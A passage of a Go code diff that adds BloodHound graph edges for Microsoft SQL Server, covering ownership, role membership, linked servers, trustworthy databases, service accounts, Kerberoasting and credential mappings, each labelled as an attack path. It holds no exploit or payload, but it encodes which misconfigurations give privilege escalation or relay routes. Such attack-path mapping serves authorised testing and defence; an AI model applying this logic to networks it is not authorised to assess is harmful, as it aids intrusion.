+ for _, db := range serverInfo.Databases {
+ edge := c.createEdge(
+ serverInfo.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Contains,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Server contains server principals (logins and server roles)
+ for _, principal := range serverInfo.ServerPrincipals {
+ targetType := c.getServerPrincipalType(principal.TypeDescription)
+ edge := c.createEdge(
+ serverInfo.ObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Contains,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: principal.Name,
+ TargetType: targetType,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Database contains database principals (users, roles, application roles)
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ targetType := c.getDatabasePrincipalType(principal.TypeDescription)
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Contains,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: principal.Name,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // OWNERSHIP EDGES
+ // =========================================================================
+
+ // Database ownership (login owns database)
+ for _, db := range serverInfo.Databases {
+ if db.OwnerObjectIdentifier != "" {
+ edge := c.createEdge(
+ db.OwnerObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Owns,
+ &bloodhound.EdgeContext{
+ SourceName: db.OwnerLoginName,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Server role ownership
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.TypeDescription == "SERVER_ROLE" && principal.OwningObjectIdentifier != "" {
+ edge := c.createEdge(
+ principal.OwningObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Owns,
+ &bloodhound.EdgeContext{
+ SourceName: "", // Will be filled by owner lookup
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Database role ownership
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.TypeDescription == "DATABASE_ROLE" && principal.OwningObjectIdentifier != "" {
+ edge := c.createEdge(
+ principal.OwningObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.Owns,
+ &bloodhound.EdgeContext{
+ SourceName: "", // Owner name
+ SourceType: bloodhound.NodeKinds.DatabaseUser,
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // MEMBEROF EDGES
+ // =========================================================================
+
+ // Server role memberships (explicit only - PowerShell doesn't add implicit public membership)
+ for _, principal := range serverInfo.ServerPrincipals {
+ for _, role := range principal.MemberOf {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ role.ObjectIdentifier,
+ bloodhound.EdgeKinds.MemberOf,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getServerPrincipalType(principal.TypeDescription),
+ TargetName: role.Name,
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Database role memberships (explicit only - PowerShell doesn't add implicit public membership)
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ for _, role := range principal.MemberOf {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ role.ObjectIdentifier,
+ bloodhound.EdgeKinds.MemberOf,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: role.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // MAPPING EDGES
+ // =========================================================================
+
+ // Login to database user mapping
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.ServerLogin != nil {
+ edge := c.createEdge(
+ principal.ServerLogin.ObjectIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.IsMappedTo,
+ &bloodhound.EdgeContext{
+ SourceName: principal.ServerLogin.Name,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseUser,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // FIXED ROLE PERMISSION EDGES
+ // =========================================================================
+
+ // Create edges for fixed role capabilities
+ if err := c.createFixedRoleEdges(writer, serverInfo); err != nil {
+ return err
+ }
+
+ // =========================================================================
+ // EXPLICIT PERMISSION EDGES
+ // =========================================================================
+
+ // Server principal permissions
+ if err := c.createServerPermissionEdges(writer, serverInfo); err != nil {
+ return err
+ }
+
+ // Database principal permissions
+ for _, db := range serverInfo.Databases {
+ if err := c.createDatabasePermissionEdges(writer, &db, serverInfo); err != nil {
+ return err
+ }
+ }
+
+ // =========================================================================
+ // LINKED SERVER AND TRUSTWORTHY EDGES
+ // =========================================================================
+
+ // Linked servers - one edge per login mapping (matching PowerShell behavior)
+ for _, linked := range serverInfo.LinkedServers {
+ // Determine target ObjectIdentifier for linked server
+ targetID := linked.DataSource
+ if linked.ResolvedObjectIdentifier != "" {
+ targetID = linked.ResolvedObjectIdentifier
+ }
+
+ // Resolve the source server ObjectIdentifier
+ // PowerShell compares linked.SourceServer to current hostname and resolves chains
+ sourceID := serverInfo.ObjectIdentifier
+ if linked.SourceServer != "" && !strings.EqualFold(linked.SourceServer, serverInfo.Hostname) {
+ // Source is a different server (chained linked server) - resolve its ID
+ resolvedSourceID := c.resolveLinkedServerSourceID(linked.SourceServer, serverInfo)
+ if resolvedSourceID != "" {
+ sourceID = resolvedSourceID
+ }
+ }
+
+ // MSSQL_LinkedTo edge with all properties matching PowerShell
+ edge := c.createEdge(
+ sourceID,
+ targetID,
+ bloodhound.EdgeKinds.LinkedTo,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: linked.Name,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ // Add linked server specific properties (matching PowerShell)
+ edge.Properties["dataAccess"] = linked.IsDataAccessEnabled
+ edge.Properties["dataSource"] = linked.DataSource
+ edge.Properties["localLogin"] = linked.LocalLogin
+ edge.Properties["path"] = linked.Path
+ edge.Properties["product"] = linked.Product
+ edge.Properties["provider"] = linked.Provider
+ edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin
+ edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer
+ edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin
+ edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode
+ edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin
+ edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin
+ edge.Properties["remoteLogin"] = linked.RemoteLogin
+ edge.Properties["rpcOut"] = linked.IsRPCOutEnabled
+ edge.Properties["usesImpersonation"] = linked.UsesImpersonation
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // MSSQL_LinkedAsAdmin edge if conditions are met:
+ // - Remote login exists and is a SQL login (no backslash)
+ // - Remote login has admin privileges (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN)
+ // - Target server has mixed mode authentication enabled
+ if linked.RemoteLogin != "" &&
+ !strings.Contains(linked.RemoteLogin, "\\") &&
+ (linked.RemoteIsSysadmin || linked.RemoteIsSecurityAdmin ||
+ linked.RemoteHasControlServer || linked.RemoteHasImpersonateAnyLogin) &&
+ linked.RemoteIsMixedMode {
+
+ edge := c.createEdge(
+ sourceID,
+ targetID,
+ bloodhound.EdgeKinds.LinkedAsAdmin,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.ServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: linked.Name,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ // Add linked server specific properties (matching PowerShell)
+ edge.Properties["dataAccess"] = linked.IsDataAccessEnabled
+ edge.Properties["dataSource"] = linked.DataSource
+ edge.Properties["localLogin"] = linked.LocalLogin
+ edge.Properties["path"] = linked.Path
+ edge.Properties["product"] = linked.Product
+ edge.Properties["provider"] = linked.Provider
+ edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin
+ edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer
+ edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin
+ edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode
+ edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin
+ edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin
+ edge.Properties["remoteLogin"] = linked.RemoteLogin
+ edge.Properties["rpcOut"] = linked.IsRPCOutEnabled
+ edge.Properties["usesImpersonation"] = linked.UsesImpersonation
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Trustworthy databases - create IsTrustedBy and potentially ExecuteAsOwner edges
+ for _, db := range serverInfo.Databases {
+ if db.IsTrustworthy {
+ // Always create IsTrustedBy edge for trustworthy databases
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.IsTrustedBy,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Check if database owner has high privileges
+ // (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN)
+ // Uses nested role/permission checks matching PowerShell's Get-NestedRoleMembership/Get-EffectivePermissions
+ if db.OwnerObjectIdentifier != "" {
+ // Find the owner in server principals
+ var ownerHasSysadmin, ownerHasSecurityadmin, ownerHasControlServer, ownerHasImpersonateAnyLogin bool
+ var ownerLoginName string
+ for _, owner := range serverInfo.ServerPrincipals {
+ if owner.ObjectIdentifier == db.OwnerObjectIdentifier {
+ ownerLoginName = owner.Name
+ ownerHasSysadmin = c.hasNestedRoleMembership(owner, "sysadmin", serverInfo)
+ ownerHasSecurityadmin = c.hasNestedRoleMembership(owner, "securityadmin", serverInfo)
+ ownerHasControlServer = c.hasEffectivePermission(owner, "CONTROL SERVER", serverInfo)
+ ownerHasImpersonateAnyLogin = c.hasEffectivePermission(owner, "IMPERSONATE ANY LOGIN", serverInfo)
+ break
+ }
+ }
+
+ if ownerHasSysadmin || ownerHasSecurityadmin || ownerHasControlServer || ownerHasImpersonateAnyLogin {
+ // Create ExecuteAsOwner edge with metadata properties matching PowerShell
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAsOwner,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if edge != nil {
+ edge.Properties["database"] = db.Name
+ edge.Properties["databaseIsTrustworthy"] = db.IsTrustworthy
+ edge.Properties["ownerHasControlServer"] = ownerHasControlServer
+ edge.Properties["ownerHasImpersonateAnyLogin"] = ownerHasImpersonateAnyLogin
+ edge.Properties["ownerHasSecurityadmin"] = ownerHasSecurityadmin
+ edge.Properties["ownerHasSysadmin"] = ownerHasSysadmin
+ edge.Properties["ownerLoginName"] = ownerLoginName
+ edge.Properties["ownerObjectIdentifier"] = db.OwnerObjectIdentifier
+ edge.Properties["ownerPrincipalID"] = db.OwnerPrincipalID
+ edge.Properties["SQLServer"] = serverInfo.ObjectIdentifier
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+ }
+
+ // =========================================================================
+ // COMPUTER-SERVER RELATIONSHIP EDGES
+ // =========================================================================
+
+ // Create Computer node and edges if we have the computer SID
+ if serverInfo.ComputerSID != "" {
+ // MSSQL_HostFor: Computer -> Server
+ edge := c.createEdge(
+ serverInfo.ComputerSID,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.HostFor,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.Hostname,
+ SourceType: "Computer",
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // MSSQL_ExecuteOnHost: Server -> Computer
+ edge = c.createEdge(
+ serverInfo.ObjectIdentifier,
+ serverInfo.ComputerSID,
+ bloodhound.EdgeKinds.ExecuteOnHost,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.SQLServerName,
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: serverInfo.Hostname,
+ TargetType: "Computer",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // =========================================================================
+ // AD PRINCIPAL RELATIONSHIP EDGES
+ // =========================================================================
+
+ // Create HasLogin and CoerceAndRelayToMSSQL edges from AD principals to their SQL logins
+ // Match PowerShell logic: iterate enabledDomainPrincipalsWithConnectSQL
+ // CoerceAndRelayToMSSQL is checked BEFORE the S-1-5-21 filter and dedup (matching PS ordering)
+ // HasLogin is only created for S-1-5-21-* SIDs with dedup
+ principalsWithLogin := make(map[string]bool)
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Skip disabled logins
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission (direct or through sysadmin/securityadmin membership)
+ // This matches PowerShell's $enabledDomainPrincipalsWithConnectSQL filter
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ // Also check sysadmin/securityadmin membership (implies CONNECT SQL)
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // CoerceAndRelayToMSSQL edge if conditions are met:
+ // - Extended Protection (EPA) is Off
+ // - Login is for a computer account (name ends with $)
+ // This is checked BEFORE the S-1-5-21 filter and dedup, matching PowerShell ordering
+ if serverInfo.ExtendedProtection == "Off" && strings.HasSuffix(principal.Name, "$") {
+ // Create edge from Authenticated Users (S-1-5-11) to the SQL login
+ // The SID S-1-5-11 is prefixed with the domain for the full ObjectIdentifier
+ authedUsersSID := "S-1-5-11"
+ if c.config.Domain != "" {
+ authedUsersSID = c.config.Domain + "-S-1-5-11"
+ }
+
+ edge := c.createEdge(
+ authedUsersSID,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.CoerceAndRelayTo,
+ &bloodhound.EdgeContext{
+ SourceName: "AUTHENTICATED USERS",
+ SourceType: "Group",
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Only process domain SIDs (S-1-5-21-*) for HasLogin edges
+ // Skip NT AUTHORITY, NT SERVICE, local accounts, etc.
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") {
+ continue
+ }
+
+ // Skip if we already created HasLogin for this SID (dedup)
+ if principalsWithLogin[principal.SecurityIdentifier] {
+ continue
+ }
+
+ principalsWithLogin[principal.SecurityIdentifier] = true
+
+ // MSSQL_HasLogin: AD Principal (SID) -> SQL Login
+ edge := c.createEdge(
+ principal.SecurityIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.HasLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: "Base", // Generic AD principal type
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Create HasLogin edges for local groups that have SQL logins
+ // This processes ALL local groups (not just BUILTIN S-1-5-32-*), matching PowerShell behavior.
+ // LocalGroupsWithLogins contains groups collected via WMI/net localgroup enumeration.
+ if serverInfo.LocalGroupsWithLogins != nil {
+ for _, groupInfo := range serverInfo.LocalGroupsWithLogins {
+ if groupInfo.Principal == nil || groupInfo.Principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ principal := groupInfo.Principal
+
+ // Track non-BUILTIN SIDs separately (machine-local groups)
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") {
+ principalsWithLogin[principal.SecurityIdentifier] = true
+ }
+
+ // ObjectID format: {serverFQDN}-{SID} (machine-specific)
+ groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier
+ principalsWithLogin[groupObjectID] = true
+
+ // MSSQL_HasLogin edge
+ edge := c.createEdge(
+ groupObjectID,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.HasLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: "Group",
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ } else {
+ // Fallback: process local groups from ServerPrincipals if LocalGroupsWithLogins is not populated
+ // This handles both BUILTIN (S-1-5-32-*) and machine-local groups (S-1-5-21-* not matching domain SID)
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups
+ isLocalGroup := false
+ if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") {
+ isLocalGroup = true
+ } else if principal.TypeDescription == "WINDOWS_GROUP" &&
+ strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") &&
+ (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) {
+ isLocalGroup = true
+ }
+ if !isLocalGroup {
+ continue
+ }
+
+ // Skip disabled logins
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ // Also check sysadmin/securityadmin membership
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // ObjectID format: {serverFQDN}-{SID}
+ groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier
+
+ // Skip if already processed
+ if principalsWithLogin[groupObjectID] {
+ continue
+ }
+ principalsWithLogin[groupObjectID] = true
+
+ // MSSQL_HasLogin edge
+ edge := c.createEdge(
+ groupObjectID,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.HasLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: "Group",
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // SERVICE ACCOUNT EDGES (including Kerberoasting edges)
+ // =========================================================================
+
+ // Track domain principals with admin privileges for GetAdminTGS
+ // Uses nested role/permission checks matching PowerShell's second pass (lines 7676-7712)
+ var domainPrincipalsWithAdmin []string
+ var enabledDomainLoginsWithConnectSQL []types.ServerPrincipal
+
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Skip non-domain SIDs
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") {
+ continue
+ }
+
+ // Check if has admin-level access (including inherited through nested role membership)
+ hasAdmin := c.hasNestedRoleMembership(principal, "sysadmin", serverInfo) ||
+ c.hasNestedRoleMembership(principal, "securityadmin", serverInfo) ||
+ c.hasEffectivePermission(principal, "CONTROL SERVER", serverInfo) ||
+ c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo)
+
+ if hasAdmin {
+ domainPrincipalsWithAdmin = append(domainPrincipalsWithAdmin, principal.ObjectIdentifier)
+ }
+
+ // Track enabled domain logins with CONNECT SQL for GetTGS
+ if !principal.IsDisabled {
+ hasConnect := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnect = true
+ break
+ }
+ }
+ // Also check if member of sysadmin (implies CONNECT)
+ if !hasConnect {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnect = true
+ break
+ }
+ }
+ }
+ if hasConnect {
+ enabledDomainLoginsWithConnectSQL = append(enabledDomainLoginsWithConnectSQL, principal)
+ }
+ }
+ }
+
+ // Create ServiceAccountFor and Kerberoasting edges from service accounts to the server
+ for _, sa := range serverInfo.ServiceAccounts {
+ if sa.ObjectIdentifier == "" && sa.SID == "" {
+ continue
+ }
+
+ saID := sa.SID
+ if saID == "" {
+ saID = sa.ObjectIdentifier
+ }
+
+ // Only create edges for domain accounts (skip NT AUTHORITY, LOCAL SERVICE, etc.)
+ // Domain accounts have SIDs starting with S-1-5-21-
+ isDomainAccount := strings.HasPrefix(saID, "S-1-5-21-")
+
+ if !isDomainAccount {
+ continue
+ }
+
+ // Check if the service account is the server's own computer account
+ // This is used to skip HasSession only - other edges still get created for computer accounts
+ // We check two conditions:
+ // 1. Name matches SAMAccountName format (HOSTNAME$)
+ // 2. SID matches the server's ComputerSID (for when name was converted to FQDN)
+ hostname := serverInfo.Hostname
+ if strings.Contains(hostname, ".") {
+ hostname = strings.Split(hostname, ".")[0]
+ }
+ isComputerAccountName := strings.EqualFold(sa.Name, hostname+"$")
+ isComputerAccountSID := serverInfo.ComputerSID != "" && saID == serverInfo.ComputerSID
+
+ // Check if this service account was converted from a built-in account (LocalSystem, etc.)
+ // This is only used for HasSession - we skip that for computer accounts running as themselves
+ isConvertedFromBuiltIn := sa.ConvertedFromBuiltIn
+
+ // ServiceAccountFor: Service Account (SID) -> SQL Server
+ // We create this edge for all resolved service accounts including computer accounts
+ edge := c.createEdge(
+ saID,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ServiceAccountFor,
+ &bloodhound.EdgeContext{
+ SourceName: sa.Name,
+ SourceType: "Base", // Could be User or Computer
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // HasSession: Computer -> Service Account
+ // Skip for computer accounts (when service account IS the computer)
+ // Also skip for converted built-in accounts (which become the computer account)
+ // Check both name pattern (HOSTNAME$) and SID match
+ isBuiltInAccount := strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" ||
+ sa.Name == "LocalSystem" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE"
+
+ if serverInfo.ComputerSID != "" && !isBuiltInAccount && !isComputerAccountName && !isComputerAccountSID && !isConvertedFromBuiltIn {
+ edge := c.createEdge(
+ serverInfo.ComputerSID,
+ saID,
+ bloodhound.EdgeKinds.HasSession,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.Hostname,
+ SourceType: "Computer",
+ TargetName: sa.Name,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // GetAdminTGS: Service Account -> Server (if any domain principal has admin)
+ if len(domainPrincipalsWithAdmin) > 0 {
+ edge := c.createEdge(
+ saID,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.GetAdminTGS,
+ &bloodhound.EdgeContext{
+ SourceName: sa.Name,
+ SourceType: "Base",
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // GetTGS: Service Account -> each enabled domain login with CONNECT SQL
+ for _, login := range enabledDomainLoginsWithConnectSQL {
+ edge := c.createEdge(
+ saID,
+ login.ObjectIdentifier,
+ bloodhound.EdgeKinds.GetTGS,
+ &bloodhound.EdgeContext{
+ SourceName: sa.Name,
+ SourceType: "Base",
+ TargetName: login.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // CREDENTIAL EDGES
+ // =========================================================================
+
+ // Build credential lookup map for enriching edge properties with dates
+ credentialByID := make(map[int]*types.Credential)
+ for i := range serverInfo.Credentials {
+ credentialByID[serverInfo.Credentials[i].CredentialID] = &serverInfo.Credentials[i]
+ }
+
+ // Create HasMappedCred edges from logins to their mapped credentials
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.MappedCredential == nil {
+ continue
+ }
+
+ cred := principal.MappedCredential
+
+ // Only create edges for domain credentials with a resolved SID,
+ // matching PowerShell's IsDomainPrincipal && ResolvedSID check
+ if cred.ResolvedSID == "" {
+ continue
+ }
+
+ targetID := cred.ResolvedSID
+
+ // HasMappedCred: Login -> AD Principal (resolved SID or credential identity)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetID,
+ bloodhound.EdgeKinds.HasMappedCred,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: cred.CredentialIdentity,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ edge.Properties["credentialId"] = cred.CredentialID
+ edge.Properties["credentialIdentity"] = cred.CredentialIdentity
+ edge.Properties["credentialName"] = cred.Name
+ edge.Properties["resolvedSid"] = cred.ResolvedSID
+ // Get createDate/modifyDate from the standalone credentials list
+ if fullCred, ok := credentialByID[cred.CredentialID]; ok {
+ edge.Properties["createDate"] = fullCred.CreateDate.Format(time.RFC3339)
+ edge.Properties["modifyDate"] = fullCred.ModifyDate.Format(time.RFC3339)
+ }
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // =========================================================================
+ // PROXY ACCOUNT EDGES
+ // =========================================================================
+
+ // Create HasProxyCred edges from logins authorized to use proxies
+ for _, proxy := range serverInfo.ProxyAccounts {
+ // Only create edges for domain credentials with a resolved SID,
+ // matching PowerShell's IsDomainPrincipal && ResolvedSID check
+ if proxy.ResolvedSID == "" {
+ continue
+ }
+
+ // For each login authorized to use this proxy
+ for _, loginName := range proxy.Logins {
+ // Find the login's ObjectIdentifier
+ var loginObjectID string
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.Name == loginName {
+ loginObjectID = principal.ObjectIdentifier
+ break
+ }
+ }
+
